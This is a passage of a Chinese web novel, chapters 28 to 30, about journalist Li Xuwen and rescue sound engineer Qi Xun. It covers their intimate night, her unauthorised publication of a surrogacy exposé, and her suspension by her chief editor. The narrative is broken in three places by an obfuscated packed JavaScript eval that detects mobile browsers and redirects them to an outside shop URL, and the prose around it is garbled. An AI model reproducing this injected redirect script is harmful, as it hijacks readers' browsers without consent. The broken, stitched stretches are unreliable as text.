她抬头看见齐寻,才发现他竟然还守着自己,语气里不无歉疚:“又拖累你了……” 她用冰凉的手握住自己另一边的手臂,慢慢道:“这么晚了,你先回吧,我想自己走走。” 说着头也不回地独自往前走,刚下两级楼梯,却脚步虚浮着险些绊倒。 齐寻在身边扶了她一把,垂着视线盯了她几秒,忽然背对着她蹲下来:“上来。” 黎叙闻一愣,先是失笑:“做什么,又不是小孩……” “上来。” “……” 黎叙闻看着他宽阔坚实的后背,忽然觉得,反抗的力气好像都被抽走了。 她最终还是拗不过他,慢吞吞趴在他的背上,前胸贴上了一个温热的脊背。 齐寻托住她的腿,毫不费力站起来:“睡一会儿。” 黎叙闻环住他的脖颈,强劲有力的动脉在她臂弯里不容忽视地跳动着。 后半夜真的很静,静得人恐慌。 她轻轻侧过脸,把耳朵贴在他的后背,听着他沉稳的心跳轻轻弹动着她的耳垂。 “我好像救不了任何人。”她忽然说。 齐寻前进的步子蓦地慢了一瞬,犹豫了很久,才说:“你救过我。” 没有回应。 背上的人呼吸绵长,一会儿的功夫,已经睡熟了。 …… 待黎叙闻再睁开眼睛,发现自己坐在副驾驶,车已经停在了她家楼下。 她动了动酸疼的肩颈,扭头向着驾驶座看去——夜色里,齐寻连阅读灯也没开,只是一个人静静地坐在那,视线空空地落在远处,像在出神,又像是在等什么人。 他好像总是这样,在吵闹的人世间,冷淡地看着别人的故事,而那些全都与他无关。 听到旁边的响动,他倏然回神,伸手去摸她的额头:“还难受吗?” 黎叙闻摇头。 齐寻“嗯”了一声,停了片刻,道:“上去吧,好好休息。” 黎叙闻转身下了车,却停在门侧,忽然回头,面无表情地盯着齐寻看。 齐寻:“……怎么?” 她眼底水汽朦胧,脸上还残留着经年未去的噩梦余烬:“你……要回去了?” 夜风撩动她耳边碎发:“……今晚别走了,不行吗?” 28. 第 28 章 待她再次清醒,黎叙闻发现自己正站在自家的洗澡间里。 温热的水从乌亮的花洒中兜头浇下,隔间里雾气氤氲,全湿的头发紧贴着身体。 她抹了一把脸,抬头向架子上看去,换洗的衣物和浴巾在上面摆得井然有序。 这些……她什么时候拿的,为什么毫无印象了? 断裂的记忆忽然背刺她,她想起自己刚下了车,转身就对人家大放厥词,房间没来得及收拾就请人上来不说,还…… 还说什么,“今晚别走了”? 这几个字掷地有声地回响在她耳边,天塌了。 人生在世,为什么就不能一键重开? 那,她抱着万分之一的侥幸心思,想,他真的……上来了吗? 不会吧,那个人? 正经得跟什么似的,在同一张床都睡出了躺棺材的架势,会答应她这种事? 这么离谱的要求,他没有当场打她一顿,已经是同事爱了。 黎叙闻在这许多细碎念头里好不容易说服自己,伸手去拿浴巾,余光蓦地瞥见放在上面的内衣裤。 ……珠光蕾丝? 这都是多以前买的了…… 自从开始跑现场,为了耐久和舒适,贴身衣物她一概换上了纯棉的,她自己都快忘了还有这么一套华而不实的…… 所有的念头忽然蒸发了,氤氲的水汽钻进她脑子里,缓缓地、精准地,问了她一个问题: 这些,真的是她自己拿的吗? 有没有一种可能,齐寻真的上来了,还照顾自己换了衣服,还…… 思绪像溅开的水花蝴蝶,一下炸满了脑子,又扑腾着振翅逃走了。 也就是说,她指挥着齐寻,替她拿了成套的内衣,当着他的面换了衣服,让他照顾着,进了浴室? 那她洗澡,是、是为了…… 答案简直呼之欲出。 刚刚后悔早了,五分钟后的现在,她发现找个借口重开简直轻而易举。 好巧不巧,就在她羞愤欲死的这个档口,浴室门外忽然传来了三声很轻的敲门声。 黎叙闻浑身肌肉瞬间绷紧,开口还得状似无意:“怎、怎么?” “你洗太久了,”齐寻的声音隔着水雾,又意外、又当然地响起:“怕你晕倒。” “……哦,马上。” 她想死。 磨磨蹭蹭地关了水,草草擦干身体,她带着一身的温热水汽走进卧室,正为难要怎么礼貌地请他离开,看到的却是这样一副光景。 卧室窗帘被拉得严丝合缝、密不透光,整个房间被她床头台灯打得很暗,那人就靠坐在角落的梳妆台前。 影子让昏暗灯光斜拉上墙,高挺鼻梁,锋利颌角,分毫毕现地在他身侧投下一片密实的剪影。 他拍拍身边的床沿:“闻闻,来坐这里。” 黎叙闻竟然又被他蛊惑,梦游一样走过去,背对他坐下,声音轻得像是怕惊起了墙上的影子:“要做什么?” 他没有回答。 下一秒,身后响起吹风机的轰鸣声。 她向来不注重收纳,这种常用的东西都被她随手放在方便取用的地方,他能找到并不奇怪。 只是这个展开……确实跟她想象的不太一样。 温热的风不远不近地吹着她的头发,一只手小心轻柔地在她后枕拨弄揉搓,黎叙闻闭着眼睛,几乎毫不费力地勾勒出她身后的画面。 他虽然面无表情,但眼神一定温柔,正全神贯注地盯着她的后脑。 那双救人性命、护她周全的手,此时正收着劲,修长手指穿过她乌黑的发丝,一点一点摩挲,带着薄茧的指腹轻轻抓按,不经意地滑过她耳后柔嫩的皮肤,带起一阵阵小小的火花。 她后颈蓦地一抖,肩膀紧得仿佛铠甲。 这动作太亲昵了,亲昵得超过了他们之间现有的所有界限。 可此情此景,她偏偏无从逃避。 “吹头发让你这么紧张?”齐寻半低着头,声音在她耳边,将将盖过吹风机的轰鸣:“你被吹风机咬过?” 黎叙闻耳廓一麻,本能地往旁边闪了一下,还在嘴硬:“谁紧张。” 身后吹风机的声音停了。 齐寻在梳妆台上挑拣一番,终于从瓶瓶罐罐的缝隙里拽出一把塑料梳,拿在手里掂了掂:“这东西也能叫梳子?不起静电?” “……两元店买的,要求别这么高。” 齐寻笑了一声:“嗯,以后送你更好的。” 她后知后觉:“哦,老马说过,你家里做梳子生意的。” 身后的人没有回答,只是抬手轻轻点了点她后脑的穴位。 那里麻胀一片,黎叙闻禁不住轻轻“嘶”了一声。 “这里痛?”齐寻手指用了点力揉按:“忍着点,揉开就好了。” 麻胀在他的揉捏下渐渐散成一片舒爽,黎叙闻闭着眼睛,受用得很:“你好专业。” 他指尖滑到她太阳穴:“只跟我爸学了点皮毛。” 乌黑油亮的发丝在尖利的梳齿缝隙流过,齐寻低头看着这幅只出现过在他梦里的画面,微微出神。 “我妈的头发也跟你一样,又黑又亮,都是我爸用牛角梳养出来的。”在梳齿摩擦发丝的声音里,他慢慢说:“他最喜欢给我妈梳头。” “我从小就看他们在我面前秀恩爱。我爸总跟我说,等我有了女朋友,一定早点告诉他,他好有时间打一把最好的梳子,到时候结婚了,也……” 他动作一顿,没往下说。 黎叙闻听得出了神。 吹头发和梳头对他来说,分明有额外的特殊意义。 这么温柔私密的举动,他却愿意在这个时候拿出来安慰她。 可她是怎么对人家的…… “齐寻,”黎叙闻忽然轻声唤他:“非要看你铭牌……是我不对,对不起啊。” “嗯,我没在意。” 话题似乎就在这里忽然断掉,紧凑的卧室里,只回荡着梳齿摩擦发丝的嚓嚓声。 黎叙闻紧绷的脊背在这声音里慢慢松下来。 没了白天那股力量强撑,稍不留神,就垮得不成型了。 齐寻也不再出声,手掌轻轻摩挲她的后脑,一下一下,用廉价的塑料梳为她梳理三千成结的烦恼丝。 过了很久,黎叙闻撑着的那口气终于缓缓呼出来,她半垂着头,轻声说:“我好像做错了。” “你没有错。” “她杀了人……” “人没死,还在ICU观察。” 她身形在昏昧光线下轻轻颤了颤,呼吸间有不大通畅的水声。 “你不明白……”她说:“他满身都是血,就倒在我面前。” 黎叙闻低头看着自己摊开的双手,仿佛那上面还有未擦净的血迹。 “一个大活人,怎么,怎么就……” 窗外不知何时起了风,窗框呼呼的,跟她鼓噪的心跳声响成一片。 齐寻轻抚她耳后,指尖触之所及有一道暗疤,上面纹了一尾灵动小蛇。 “后悔了?” 耳后的疤痕被触碰,黎叙闻不太自在,轻轻侧了下头:“……我不知道。” “我只是觉得,我到底是为了她,还是在满足我自己的私欲……这样难看的隐私如果爆出来,真的对她好吗?” 齐寻握着她的发丝,很久都没说话。 “你说……”黎叙闻喉咙发涩,顿了顿:“……算了。” 那双手又游到她的肩颈,细细揉捏:“我没办法告诉你该怎么选,我是个搞录音的,只能跟你说说录音的事。” 黎叙闻细细抽了抽鼻子,等他开口。 “很多时候在电影里,角色是通过声音彰显存在的。所以有的群演会为了争一句台词,闹得鸡飞狗跳。 “哪怕不开口,衣服的摩擦声、脚步声,甚至只是清一下喉咙,这个人都会区别于旁边的道具,真正在荧幕上留下形象。” 他声音又低又沉:“能够发出声音,本身就是一种特权。” 黎叙闻背对着他,慢慢眨了眨眼睛。 “你说你留了名片给她,她知道你是记者。”齐寻道:“但她还是把你引向了真相。” 黎叙闻鼻尖酸胀一片:“或许她只是为了有一个人理解她呢?等到报道发出来,她发现隐私被撕开在是一件很可怕的事,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手臂不可自抑地揽住她的腰,两具身体密不透风地贴紧,他几乎用尽意志,才克制住在她身上游走的冲动。 可黎叙闻并不就此满足,几乎没有试探地探入他的唇舌,吮吸,啃咬,不讲技巧、毫不温柔,似乎要将一切她所不能接纳的、消化的,全部在此时咬碎,跟他分食,然后再将彼此吞食。 这样,就会有人永远站在她这边。 齐寻忍耐不了这样的节节败退,索性转身将她压在墙上,单手捧起她的脸,极为克制地叹息一声,变本加厉在她唇间予取予求。 直到两人都无法呼吸,燃烧殆尽。 最后,在意识烧尽之前,是他先投降。 他低头用前额抵住她的,握住她冰凉的手腕,掌心燥热更甚:“万一我是坏人呢?嗯?” “你有那么多机会。”黎叙闻喘息着,反手握住他的手掌,像丝线缠住钢铁:“在村子里、在车上、刚刚我洗澡的时候。” 他喉头难忍地咽动:“或许我想占更大的便宜。” 黎叙闻笑:“我本人就是我身上最大的便宜,让你如愿,你却不要。” 嘴上笑着,可她攥着他手掌的指尖,分明还在细细地颤抖。 齐寻闭了闭眼,深吸一次,弯腰将手臂穿过她的膝弯,腰腹稍一用力,将她整个人抱了起来。 身体猛地腾空,黎叙闻心头一颤,侧脸贴紧他剧烈起伏的胸口,战栗着出了口气,紧紧闭上眼睛。 可下一秒,后背却稳稳贴上了柔软的床。 齐寻把她放在床上:“……睡吧。” 黎叙闻脸颊酡红,细细抽着气,身体这才慢慢地放松下来。 而她的喉咙里,却漾着一汪失落的泉。 齐寻平了平呼吸,环视了一圈她不大的卧室,最后视线停在她床边的飘窗上。 黎叙闻顺着他的眼神回头望了一眼,淡声问:“怎么?” “今晚我就在这。”齐寻冲飘窗抬了抬下巴:“守着你,哪也不去。” 29. 第 29 章 天色微明时,齐寻正漂浮在自己晦暗的梦里。 他又看见了那个人。 那人整个身子都被困在石块和钢筋里动弹不得,只有一张满是血污的脸,抻长了脖子伸到他的面前。 可那张脸,一会儿是他妈妈,一会儿是他爸爸。 他们半阖着眼睛,唇角都是血,问他,寻寻,怎么不救我?你怎么就自己活了? 头上天光忽然一亮,是黎叙闻揭开了盖在他头顶的石板,面无表情地说,原来你是这种人,以后你滚远一点,我恶心。 他轻轻一抽搐,半个身体陡然悬空。 飘窗太窄,他曲起的腿先于身体撑到地上,才避免了掉下去的惨剧。 齐寻蓦地睁开眼,迷茫了一会儿,第一反应是惊奇——他竟然在十六层的高楼上,睡着了? 他下意识侧过脸,去看蜷缩在床上的人。 天色被轻薄纱帘一筛,呈现一种缥缈的青蓝色,青釉似地敷在房间里,把这里染得像一幅冷清的画。 黎叙闻身上搭着一条轻薄毯子,面向着他,睡得很沉,只是眉头无意识拧着,偶尔吐出一两声漂浮的梦呓。 齐寻凝神去听,却听不清。 梦里的阴霾还没散去,他又想起昨晚她坐在灯下,直白又强势地命令他,今晚你别走了,你答应过的。 她大概以为他看不到,可她的颤抖早被放大在墙壁上,每一根发丝的紧张都纤毫毕现。 一只手臂垫在脑后,齐寻心里缓缓地泛起一阵难忍的痒意。 勉强闭了一会儿眼睛,他忽然翻身坐起来,无声地跨到床沿,蹲在她身边,低头与她的呼吸相碰,静静地注视她轻颤的眼睫。 大概是他的身体挡住了微明的天色,黎叙闻在睡梦中轻轻叹了一声,身子更深地蜷起来,把脸完全埋在他的影子里,睡得更沉了。 ……她已经有男朋友了。 一个比他正直、比他有资格的男人。 她有自己的依靠,实在不必因为这样偶然的交集,就…… 齐寻重重闭了下眼。 手指握紧又张开,呼吸像风起云涌的海面,怎么都平静不下来。 他深吸了口气,霍然起身,直接躺在了她的身边。 察觉到另一具身体的体温柔软地靠近,黎叙闻眉头稍稍松了松,身体更往他的方向靠过来,额头轻轻蹭着他的胸膛。 齐寻侧躺着,盯着她昳丽的侧脸,抬起手,又放下,最后下定决心似地,一把将她拢进怀里。 看起来蛮有气势的一个人,怎么在他怀里就只有那么一小把,肩膀那么单薄,像是能整个人放进他身体里一样。 她就打算用这副薄薄的身躯,一次次去向不公宣战么? 黎叙闻似乎睡得很沉,跌进别人怀里竟也没醒,只是轻轻翻动一下,把脸埋进他的颈窝,好像终于找好了姿势,缩在他怀里不动了。 齐寻僵着身体,一直垂着眼睛看着她,身体里似乎有什么怪异的欲.望在苏醒。 ——不是任何具象的动作,而是一种庞然的、坚决的占有欲,在这一刻呼啸着席卷了他的全身,在他心里那个深不见底的空洞里扎下根。 他再麻木、再卑劣,也终于有了一个想要保护的人。 这个人不属于他,甚至不需要他,但没关系,他可以等。 他最擅长的,就是等待。 游蛇一般的气息细细地喷洒在锁骨处,一阵热,一阵凉,扰得他忍了又忍,最后还是咬牙投降。 天色渐亮,青蓝色的光线逐渐融进浅灰,冷调的清晨被慢慢揉进温度,他极小心地低头靠近,轻轻地、近乎虔诚地,在她前额的碎发处,印下一个吻。 像一根轻软的绒毛,悄无声息地抚过她的梦。 黎叙闻确实在做梦。 果不其然又梦到那片废墟——她明明记得自己没去过,可青灰的泥板、刺出的黝黑钢筋,还有昏沉阴暗的天空,每一点细节都细入毫芒。 不过这一次她没再梦到大楼坍塌,而是在她迈步走向梦境深处之前,就有人从背后叫住她:“闻闻,去哪?” 黎叙闻回头,看到齐寻穿着深蓝色制服,宽肩窄腰,眉目凌厉,踩着一片嶙峋的废墟,正肃着脸盯着她:“别过去,跟我回家。” 黎叙闻不服气:“梦里你都要管我?” 齐寻面无表情:“我是你丈夫,不能管你吗?” 黎叙闻在梦里笑得上气不接下气:“你是我哪门子丈夫?说好了演场戏而已。” 齐寻眼神沉冷,看了她半天:“好,那你在这吧,我走了。” 说完连个眼神也不给她,转身就走。 黎叙闻伸手去抓他,扑了个空,猛地睁开眼睛。 哪来的废墟,她分明睡在自己家卧室里——她蜷缩在被窝里,被角揶得密不透风,飘窗处空落落的,好像根本没人来过。 魂魄终于从高处狠狠跌落回她的身体,她眼神这才清明起来,慢半拍地想,这人,不就梦里说了他一句,还真走了。 她又闭上眼,浑身空落落的,起床的心思都没了。 躺了一会儿,门口忽然一响,有钥匙落进瓷盘的声音,紧接着脚步声就冲着卧室这边来了。黎叙闻吓得坐起来,用被子裹紧身体:“谁?” 齐寻被这一声叫得顿住脚步,拎着几袋早餐站在卧室门口:“醒了?” 他表情有点无奈:“小姐,你平时都这么睡吗?” 黎叙闻莫名:“怎么?” “你看看今天几号了。” 黎叙闻一觉睡过去三十几个小时。 期间齐寻不停地试她的鼻息,生怕她睡死了。 昨天买的一日三餐凉了热,热了凉,偏偏她怎么都叫不起来,最后全扔了。 黎叙闻一只手按着胸口,愣楞地看着他,也不管他嘲笑自己睡得久,喃喃道:“我还以为你……” “嗯?” “没,没什么。”黎叙闻笑着摇头:“我换下衣服。” 齐寻随手替她关好门,接着厨房的方向就响起碗碟玲琅的碰撞声,温热勾人的食物气息很快从门缝溜进来,绕着她的鼻尖不肯走。 黎叙闻穿好衣服,却没去洗漱,又合衣躺回去,闭着眼睛听起别人为她准备早餐的细碎动静。 原来家里有另外一个人,是这种感觉。 太久远了,她都快忘了。 等她拖着酸痛的身体磨磨蹭蹭洗漱完,餐桌上已经琳琅满目摆满了食物,种类齐全,香气勾人。 齐寻坐在桌边,唇角轻抿,正聚精会神剥鸡蛋。 黎叙闻不客气,坐下拿了肉包豆浆就开吃,吃着吃着发现,身边的人一直动作迟缓地剥着鸡蛋,一桌的饭,他一口都没动。 “哎,”她手指油汪汪的,拿手背去碰他:“想什么呢?” 齐寻摇头,没搭腔。 黎叙闻慢条斯理勾过一张纸巾,用眼角剔他:“现在不问,以后可没机会了啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852564|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……没什么可问的,知道你不好受。” 黎叙闻恍然地看了他一阵,视线落在他紧绷的下颌线,带着笑亮出明晃晃的刀:“不问问我是不是总这样,随便带陌生男人回家,命令人家不许走,一言不合就强吻?” 齐寻斜乜她,简直不知道她这一刀到底刺向谁。 他笑一声:“你的意思,我就是个随便的陌生男人?” 黎叙闻眼眶一紧,饶有兴趣地眯眼看他——真正相处都没几天,她手里刀刀见血的回旋镖,全部被他学去了。 她收起调笑的模样,低头去摆弄豆浆杯:“……是不好受。” “不用这样说自己,”齐寻继续垂着眼剥鸡蛋:“注意自我保护,别被不该知道的人知道。” 他目光顿在那颗鸡蛋上,没再抬头看她。 他何尝不知道昨天晚上实在荒唐,但她那么难过那么挣扎的时候,那个男人又在哪里?是在研读什么重要的著作,还是在拼什么不得了的事业? 那男的徒有一身儒雅气质,却在这种时候留她一个人,连电话都没打来一个。 这到底是什么男人? 他第一次觉得这些公序良俗是何等多余,甚至生出了一种陌生的快意。 实在不行,横刀夺爱也不是不…… 他陡然心惊,手一抖,险些将鸡蛋掉在桌上。 ……不能这样,不能因为他喜欢,就把闻闻放在一个进退两难的境地。 是他先越轨,是他先动心,所以这一切,只能由他来承担。 一杯豆浆咕噜咕噜见底,黎叙闻又开始不安生,单手支颐着笑问:“但昨天我让你上来,你怎么也没拒绝?” 这话显然超出了齐寻的脑回路,他从自己纷乱心里拔出心神,困惑地抬头:“嗯?” “其实你也很想,对吗?” 齐寻终于听懂她在说什么,在暴露心虚之前彻底沉下脸色:“黎叙闻。” 她却没被这一声吓到,反而笑得意味深长:“凶什么,好奇问问。” 她唇上还留着些暧昧殷红的痕迹,又喝过豆浆,沾了些晶亮的水色,这时在晨曦里一笑,未施粉黛,风情却不浅。 齐寻视线在她唇角逡巡片刻,收回目光:“我担心你出事。” 黎叙闻拖长声音:“哦——所以你这个‘随便的陌生男人’,经常这么安慰人,是吗?” 她凑近了,目光似狡黠的猫:“趁别人睡着,偷亲人额头?” 齐寻铁青着脸,把手里剥了一半的鸡蛋扔进她碗里,突然起身,跟她梦里一样转身就走。 黎叙闻忍俊不禁,对他的背影喊:“哎,去哪?鸡蛋没剥完呢?” 大门嘭地一声,简直像拍在她鼻尖上。 可黎叙闻心情却意外地好,捻起剥了一半的鸡蛋对着阳光仔细瞧,蛋清光滑匀净,连粘着的那层膜都被除得一干二净。 昨晚情动时他紧绷的后背线条凌厉,那种坚实滚烫的触感还停在她的指尖,一簇火苗似的,烧得她心猿意马。 手机这时嗡嗡一震,进了两条微信。 齐寻:别拿自己的身体开玩笑。 齐寻:但要实在…… 齐寻:我会在的。 没等她细品其中奥义,白色气泡迅速消失在屏幕上,只留下三句孤零零的撤回提示。 她盯着那几行灰扑扑的字,笑弯了眼睛,屈指弹了一下白净的鸡蛋。 不经逗,怪好玩的。 30. 第 30 章 可她的好心情注定要在第二天烟消云散。 写了近一个月的代孕专题,终于在凌晨微凉的空气里划上最后一个句号。 黎叙闻写完报道,站在窗前望着东边渐深的乳白,做了一个铤而走险的决定。 商报要求所有记者统一将稿件提交到系统内,由对应编辑审核完成后方可上传。 但事情总有例外——新闻毕竟是一个要求时效性的行业,如果记者认为事态紧急,可以绕过编辑,直接让报道上线。 她的编辑是她入行时,老马亲自给她挑的,说他能力强、有才华,跟着他绝对能学到东西,结果黎叙闻跟了他两年,这编辑老师只管大撒把,就没正经管过她,好在之前她一直跟其他团队合作,没开始独立调查,也没出过什么乱子。 今天不一样了,今天这篇报道,她想都不用想,只要上传,编辑一定会给她打回来,就算编辑侥幸过了,主编季筝那里,也绝对过不去。 毕竟是收过钱的人,很难对她的人品抱任何希望。 于是黎叙闻兵行险着,将稿件标记为“紧急”,直接上线了。 上线后短短几小时,点击和评论以惊人的指数量级增长。 不出黎叙闻所料,琳琳的故事是全篇的最高潮,所有评论几乎都直指代孕产业链对这个十九岁的年轻姑娘令人发指的剥削、和重男轻女对年轻女性的伤害,更有人发起给琳琳的捐款,要为她提供法律援助、接纳她去读书,好让她远远地逃离不堪的生活,重新开始。 一切发展都不出黎叙闻所料,包括上班后季筝阴沉的脸色,以及此时此刻,她坐在主编办公室的办公桌后,朝这个离经叛道的下属劈头盖脸扔来的那本皮质笔记本。 笔记本不偏不倚砸在黎叙闻脚下,啪的一声,几乎激起一阵回响。 商报人人都知道,季筝做记者时,曾经收钱了事,好好的一篇假药追踪的专题,最后不了了之。 季筝年逾四十,头发梳得一丝不苟,气势重得如黑云压顶:“黎叙闻,你接下来说的话,最好能解释你今天的所作所为。” 黎叙闻早有对策:“这怎么好直接劳动主编?我想我的编辑会……” “编辑?”季筝哼笑了一声:“你说的是那个一见你违规发了报道,还没上班就先交了辞呈的编辑?” 黎叙闻:…… 竟有此事? “记者逼走编辑,我还是头一回见。”季筝嘲讽之意根本没打算瞒:“你以后不用配编辑了,直接归我管。反正我看你也没有润色的需求,指导方向你也不听,有什么困难,你去总编那哭一鼻子,什么都解决了。” 季筝挖苦人的本事,在商报乃至整个京屿媒体圈都是有名的——什么难听说什么,专往人心窝子戳刀子。 可惜这次她遇上了黎叙闻。 “少PUA我,那哥们两年跟我说了不到十句话,无非是觉得纸媒式微,去别处谋前程了,跟我有什么关系?”黎叙闻站得笔直,根本不买她的帐:“至于那篇报道,如果我不这么做,你会让稿子过审吗?” “不会。” 黎叙闻笑了笑:“那我不觉得我有什么可解释的。” “自作主张!”季筝忽然抬高声音,引得外间的同事们纷纷侧目:“你以为这样一篇极具煽动性的报道,能给报社、给当事人、给社会带来什么?” “真相。” “真相?”季筝冷笑着向后靠去:“你是不是觉得有这两个字做挡箭牌,无论你怎么挑唆公众的情绪、怎么撕开别人的伤口,就都是正当的?” 办公室里气压陡然升高,连带着外间嗡嗡的交流声也停了。 好像所有人都在等另一个人的答案。 “难道我就该什么都不做吗。”黎叙闻质问她:“这种时候不添一把火、不趁势掀起舆论,万一琳琳再被道德绑架和愧疚拉回原来的生活,她这辈子,就不会再有第二次机会走出来了。” 季筝微抬着下巴,看着她的目光异常复杂。 就像看着一匹千里马,四肢矫健,毛发油亮,却向着陷阱奔去,一去不复返。 “所以你作为新闻人的底线在哪里……别人的遭遇是他们的伤痕,不是给你职业的荣耀之路上增光添彩的颜料。”她把眼镜摘下来扔在桌上,捏着眼角疲惫地问:“这种东西发出来,你到底清不清楚你往赌桌上扔了什么?” “我清楚……” 黎叙闻闭了闭眼,道:“舆论方向是无法预料的,可能今天大家还声势浩大地声援琳琳,明天就会掉转枪口,采信她父亲的话而去辱骂她。” 可下一秒,她双手按上办公桌的边缘,用这些天她质问过自己的每个问题,反过来质问季筝:“但除了报道,她哪还有机会再拼出一条生路?那些潜在的受害者,会不会因为无处发声而只能默默忍受?代孕究竟做能到什么地步,尊严、身体、人伦,还有什么他们不敢践踏?如果只考虑后果,不揭露真相,那新闻行业还有什么存在的必要?” 她掷地有声的诘问响彻主编办公室,连瓷杯都被震得嗡嗡作响。 季筝在这一片嗡然里沉默地注视着她,一瞬不瞬,似乎透过她,在看什么很遥远很朦胧的东西。 而这些东西,竟渐渐让她目光空寂下来。 半晌,她才终于慢慢地叹了口气。 “黎叙闻,你手里的笔就是枪,与其去担忧子弹最终会射向哪里,不如从一开始就选择不要开枪。” 她揉着额角,下了最后通牒:“给你两个选择:一,立刻撤下报道,为你卷入伤人事件对社长和总编道歉,写五千字检讨;二,即刻停职,这件事后续的一切,不允许你再介入。” 她撑着太阳穴,对黎叙闻抬抬下巴:“选吧。” 黎叙闻哼笑一声:“我选二。” 季筝气笑了:“不认错,是吗?” “我既然发了报道,该承担的责任,我一分都不会少。”黎叙闻转身去开门:“主编,容我提醒,商报有传统,调查记者的报道要撤下,必须有记者本人的同意。辛苦主编。” “黎叙闻。” 黎叙闻回身看她。 季筝靠坐在工学椅里,目光复杂,像在期待一个迟到很久的答案:“你在发布之前,有过犹豫吗?” 办公室里静得落针可闻。 黎叙闻能听见自己胸腔里回荡的心跳,也能听见窗外远处,一声被拉得极长的、模糊的汽车鸣笛。 “我犹豫了很久,”她说:“不止发布之前,在知道琳琳的故事之后,我一直都在犹豫。”她停了停:“每一天。” 然后她深深看了主编一眼,转头离开了。 房门一开一关,将这一室的争执关在门后,外间探头探脑的同事像被这一声惊飞的雀儿,各自垂下头,不做声了。 黎叙闻目不斜视往自己的工位走,路过相熟的记者,悄悄往她手里塞了一杯咖啡。 黎叙闻偏头对她笑,旁边工位的另一个记者,往主编办公室扫了一眼,然后偷偷比了个拇指。 她心下稍暖,一点姗姗来迟的骄傲从心底缓缓盘旋而上,猝不及防想起有个人在朦胧灯影下,声音轻缓低沉,说,去选你想做的。 跟齐寻的对话就结束在那几条灰扑扑的撤回提示上。 黎叙闻盯着它看了一阵,想给他发条消息,还没想好内容,桌角却忽然传来两声轻扣。 她扭头,见隔壁组的摄像大哥正抱着胳膊,斜斜靠在她工位旁边:“我来替我们那边表达一下敬仰之情。” 黎叙闻笑:“你也来看热闹?” “哪儿能啊,商报最后的良心,”摄像大哥摇头:“我真就是来鞠个躬。” 黎叙闻唇角轻抬,安静等着下文。 果不其然,他话锋一转,轻声说:“年轻人有理想可以,但也别太拼了。” 黎叙闻眉目淡然:“不都说我是关系户么,不拼怎么行。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857302|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她跟马颂今的关系众人猜测纷纭,蛛丝马迹加上记者对黑暗面得天独厚的想象力,两年间传出过无数个版本,什么离谱的话都有。 但她从没回应过,凭着自己的大胆和实力,生生压了流言一头。 摄像大哥搔了一把短发:“没必要……你觉得调查记者最重要的是什么?” “……挖掘选题的能力?” “不是。”他笑了一声:“是扛揍。” “我没见过一个调查记者没遭过威胁、没被骂过娘的,那种压力有时候那些大男人都受不了……更何况,你冒这么大风险爆出来的东西,未必有人领情。” 黎叙闻笑着耸耸肩:“我也练过几天,保命应该不成问题。” “果然是没成家的年轻人。”摄像大哥顺了她桌上一支圆珠笔,按得咯哒响:“小姑娘。” “没成家”三个字让黎叙闻一愣。 她恍然地想,不对啊,我结婚了。 那是不是意味着他们的婚姻关系存续一天,她就不仅要担心自己会被打击报复,也得掂量掂量,齐寻会不会受到牵连? 只要一想到当时她在楼上被李姐盘问,齐寻在楼下应对经理,那些膀大腰圆的打手就在旁边虎视眈眈,只要一个稍有闪失,他就得跟着自己遭殃,黎叙闻就焦虑得头皮发麻。 他是一个很好的人,不能让他因为这些事受伤。 ……如果可以,她还希望他能一世顺遂,希望他每一次救援都平安归来。 “成了别想了。”摄像大哥站直身体:“霸王卸了甲也还是霸王,既然你把这事爆出来,就得负责到底。” 他拍拍黎叙闻的肩膀:“努力吧姑娘。” 黎叙闻就着他的话,在工位上愣了一阵子,最后还是没忍住,攥着手机跑到楼梯间,给齐寻发了条微信:“有空吗?通个电话?” 那边没立刻回复,她盯着自己发的消息,手指鬼使神差地想点撤回,对面却忽然弹出了通话请求。 她手忙脚乱接起来:“喂?” “刚在盘点装备,怎么了?”齐寻那边听起来人声嘈杂:“我看你报道发出来了,主编难为你了?” 他的声音意外让黎叙闻飘着的心摇摇晃晃落了地:“……也说不上难为,但熊一顿肯定是免不了的,发是发出来了,撤应该也不会撤,我也停职了,她要怎么删改,我无能为力。” 停职这个事实被她裹在一句话的正中间,含糊着声音一带而过,蓄意包装成一个漫不经心的添头。 怕他发现,又怕他没有发现。 对面没有立刻回答,而是甩开训练场的杂音,到了一片安静的场地,他的声音才又低低响起来:“委屈了?” 黎叙闻捂住话筒咽了咽,才又拿开手,笑道:“委屈什么,早想到的结果。” 齐寻默了默,又说:“早上我跟一个律师朋友聊了,她说这种情况,琳琳很可能有严重的精神疾病,如果进行精神鉴定,她有可能可以脱罪,她答应帮忙,费用也不用担心。” 黎叙闻嗯了声,不小心带了点鼻音。 刚刚跟主编吵架时明明冷静犀利,坚定得六亲不认,现在齐寻还没说什么呢,她就想丢盔弃甲。 齐寻捕捉到她得动静,指尖轻轻扣了扣话筒,轻声道:“你的努力不会白费的,停职怎么了,那不是表扬吗?” 黎叙闻咽了咽,用官方的平稳声线道:“谢谢你。” 